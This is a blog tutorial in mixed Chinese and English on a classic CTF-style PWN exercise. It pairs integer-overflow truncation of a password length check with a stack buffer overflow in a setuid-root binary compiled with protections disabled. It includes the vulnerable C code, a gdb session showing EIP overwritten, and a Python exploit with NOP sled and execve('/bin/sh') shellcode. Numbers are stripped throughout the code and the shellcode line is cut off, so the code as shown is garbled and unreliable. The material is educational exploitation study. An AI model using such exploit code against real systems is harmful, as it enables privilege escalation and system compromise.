0x00      Preview

  Last few passage I didn't conclude some important points and a general direction of the learning route of PWN. I browser some passages and finally I found one maybe suitable and reasonable for most PWN lovers:

0x01  Integer Overflow —— What's ?

  Storing a value greater than maximun supported value is called integer overflow. 但是呢,这个也仅仅是overflow,不能造成代码执行(英文真的写不下去了。。。随心写了。。)。

首先我们来看一下C语言的 一些类型的对应的字节大小(摘自CTF WIKI)

short int 2byte(word) 0~32767(0~0x7fff) 
-32768~-1(0x8000~0xffff)
unsigned short int 2byte(word) 0~65535(0~0xffff)
int 4byte(dword) 0~2147483647(0~0x7fffffff) 
-2147483648~-1(0x80000000~0xffffffff)
unsigned int 4byte(dword) 0~4294967295(0~0xffffffff)
long int 8byte(qword) 正: 0~0x7fffffffffffffff 
负: 0x8000000000000000~0xffffffffffffffff
unsigned long int 8byte(qword) 0~0xffffffffffffffff

之后我将CTF wiki上的总结了一下如下:

注意:大的范围转给小的范围的数,会造成截断,这是内存分布结构所导致的,下面示例中会讲到

0x02   How?

这里我先拿某位大神的示例,并说出我的观点

示例代码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h> void store_passwd_indb(char* passwd) {
} void validate_uname(char* uname) {
} void validate_passwd(char* passwd) {
char passwd_buf[];
unsigned char passwd_len = strlen(passwd); /* [1] */
if(passwd_len >= && passwd_len <= ) { /* [2] */
printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */
} else {
printf("Invalid Password\n"); /* [5] */
fflush(stdout);
}
store_passwd_indb(passwd_buf); /* [6] */
} int main(int argc, char* argv[]) {
if(argc!=) {
printf("Usage Error: \n");
fflush(stdout);
exit(-);
}
validate_uname(argv[]);
validate_passwd(argv[]);
return ;
}

去除保护措施编译:

$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

我们先来分析一下代码:

前两个函数没什么问题,第三个函数开始:

传入一个字符串(大小任意)——>定义11大小数组,每个单位为uchar字节(共11*1byte)

——> 获取密码长度,但是uchar(256)

——>  通过检测则复制密码到数组

——> 不通过则gg

——> 主函数没什么问题

思考:

第一个漏洞点:uchar 的len,因为长度为256,当大于256就会截断,如输入261(‭0001 0000 0101‬),截断后(后uchar字节的数):5(0101),所以len会变为5

第二个漏洞点:基本的栈溢出,就是复制密码到数组

结合两个漏洞点,因为shellcode一般是40多字节(排除任意长度大神),能存储的地方是buf,passwd,buf长度限制,用来溢出,passwd我们用来存储shellcode

步骤:

1、整数溢出过检测

2、栈溢出执行代码

0X03 Do the Exp

反编译程序第三个函数:

这是我64位的结果,提供借鉴,但是作者的环境是x86,显示的可能不一样,我这里引入某大佬的调试过程:

Reading symbols from vuln...done.
(gdb) b validate_passwd
Breakpoint at 0x804850d: file vuln.c, line .
(gdb) r sploitfun `python -c 'print "A"*261'`
Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'` Breakpoint , validate_passwd (
passwd=0xbffff6b6 'A' <repeats times>...) at vuln.c:
unsigned char passwd_len = strlen(passwd); /* [1] */
(gdb) n        //单步调试,想看看执行到了我们认为的关键的代码没有,很明显这儿还不是关键代码
if(passwd_len >= && passwd_len <= ) { /* [2] */
(gdb) n
printf("Valid Password\n"); /* [3] */
(gdb) p passwd_len  //这儿是关键处了,但是如果是正确的话,passwd_len 应该是'A',很可能是程序还没真正执行到
$ = '\005'
(gdb) n
Valid Password
fflush(stdout);
(gdb) n
strcpy(passwd_buf,passwd); /* [4] */
(gdb) n
store_passwd_indb(passwd_buf); /* [6] */
(gdb) p passwd_len    //好终于到了我们想要的地方了
$ = 'A'
(gdb) p &passwd_len   //passwd_len的地址,既然利用的是栈,我们在乎的是内存布局
$ = (unsigned char *) 0xbffff46f 'A' <repeats times>...
(gdb) p buf        //手误,没有任何原因
$ = 0x0
(gdb) n
}
(gdb) p passwd_buf    //passwd_buf的值也对了
$ = 'A' <repeats times>
(gdb) p &passwd_buf[]  //passwd_buf的地址也和我们想象的一样
$ = 0xbffff464 'A' <repeats times>...
(gdb) p/x $eip      //很明显还没有被覆盖
$ = 0x8048578
(gdb) p/x $ebp      //这个真的不是在凑字数,ebp的地址很重要
$ = 0xbffff478
(gdb) n
0x41414141 in ?? ()
(gdb) p/x $eip      //好,已经覆盖了
$ = 0x41414141
(gdb) p/x $ebp
$ = 0x41414141
(gdb)

嗯,差不多能ret我们输入的shellcode,没错我比较愚笨所以输入了10次26字母加一个字母

堆栈结构什么的我就直接复制粘贴了:

说明一下我个人的观点:

1、 alignment space,对齐空间,即字节对齐,具体看https://www.cnblogs.com/clover-toeic/p/3853132.html

这里注意的是,char先定义,所以按char来算,就是在buf[8-11]和len之间填4个字节

2、RET 后面跟EBP之前说过,不多说了

shellcode:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call arg1 = "sploitfun" #Stack address where shellcode is copied.
ret_addr = 0xbffff4e0 #Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$ #endianess convertion
def conv(num):
return struct.pack("<I",num) #chunk + ReturnAdress + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108 print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

最新文章

  1. Java,Android 项目导入Eclipse常见错误
  2. Mysql命令集
  3. SQLDMO知识总结
  4. JavaScript的IIFE(即时执行方法)
  5. eclipse 工程加入ant以支持自动打war包
  6. [Angualr 2] Using FormBuilder
  7. hbmy周赛1--A
  8. vc++调用web服务传输文件
  9. Linux SVN服务器的搭建配置及分支的创建与合并
  10. 指定的参数已超出有效值的范围。参数名:sit ,先仔细看看错误和我的一样不一样
  11. 《JavaScript 设计模式与开发实战》第一部分(1、2、3章)笔记
  12. 背水一战 Windows 10 (66) - 控件(WebView): 监听和处理 WebView 的事件
  13. 关于promise自己的理解
  14. ELK之收集tomcat访问日志
  15. UWP开发---DIY星级评分控件
  16. 第七章 常用Java集合类总结
  17. ssh登录等待时间超时问题的解决
  18. CF 810 D. Glad to see you!
  19. C++ 十进制 八进制 十六进制的转换和关系
  20. C/C++内存管理详解(转)

热门文章

  1. 工作常用4种Java线程锁的特点,性能比较、使用场景
  2. MySQL8.0 新特性 Hash Join
  3. Photoshop CS5软件安装教程
  4. yum运行报错:/usr/lib64/python2.7/site-packages/pycurl.so: undefined symbol: CRYPTO_num_locks
  5. C语言l博客作业05
  6. 切换控制器的三种手段push modal 切换window的rootViewController
  7. mysql那些事(1)手机号与座机号码如何存储
  8. 挑战10个最难的Java面试题(附答案)【上】【华为云技术分享】
  9. 使用node.js将xmind导出的excel转换为json树
  10. CF1236B Alice and the List of Presents